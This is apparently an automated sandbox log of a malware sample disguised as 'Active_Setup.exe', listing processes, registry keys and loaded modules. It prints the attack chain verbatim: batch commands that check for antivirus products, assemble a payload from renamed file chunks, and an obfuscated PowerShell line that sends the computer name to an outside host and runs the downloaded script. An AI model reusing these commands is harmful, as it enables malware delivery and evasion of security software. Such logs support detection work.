Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7408:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\user\Desktop\Active_Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsz18E3.tmp

Jump to behavior

Source: Active_Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\Active_Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Active_Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: Active_Setup.exe

Virustotal: Detection: 19%

Source: C:\Users\user\Desktop\Active_Setup.exe

File read: C:\Users\user\Desktop\Active_Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Active_Setup.exe "C:\Users\user\Desktop\Active_Setup.exe"
Source: C:\Users\user\Desktop\Active_Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 529052
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Trials
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "APPROXIMATELY" Compound
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 529052\Bother.com + Stones + Floral + Web + Know + Howard + Holly + Production + Stored + Britney + Musicians 529052\Bother.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Hopes + ..\Newark + ..\Announces + ..\Much + ..\Fabrics + ..\Forums + ..\Regardless + ..\Train k
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com Bother.com k
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp "C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$40464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process created: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp "C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$50464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Users\user\Desktop\Active_Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Vocal Vocal.cmd & Vocal.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 529052	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Trials	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "APPROXIMATELY" Compound	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 529052\Bother.com + Stones + Floral + Web + Know + Howard + Holly + Production + Stored + Britney + Musicians 529052\Bother.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Hopes + ..\Newark + ..\Announces + ..\Much + ..\Fabrics + ..\Forums + ..\Regardless + ..\Train k	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com Bother.com k	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Process created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process created: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp "C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$40464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDL3A.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe "C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe	Process created: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp "C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp" /SL5="$50464,7785838,845824,C:\Users\user\AppData\Local\Temp\OS47CTVTQTDUZX7YVJLO9.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\Temp\is-MRKMR.tmp\OS47CTVTQTDUZX7YVJLO9.tmp	Process created: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe "C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"

Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\529052\Bother.com	Section loaded: uxtheme.dll	Jump to behavior
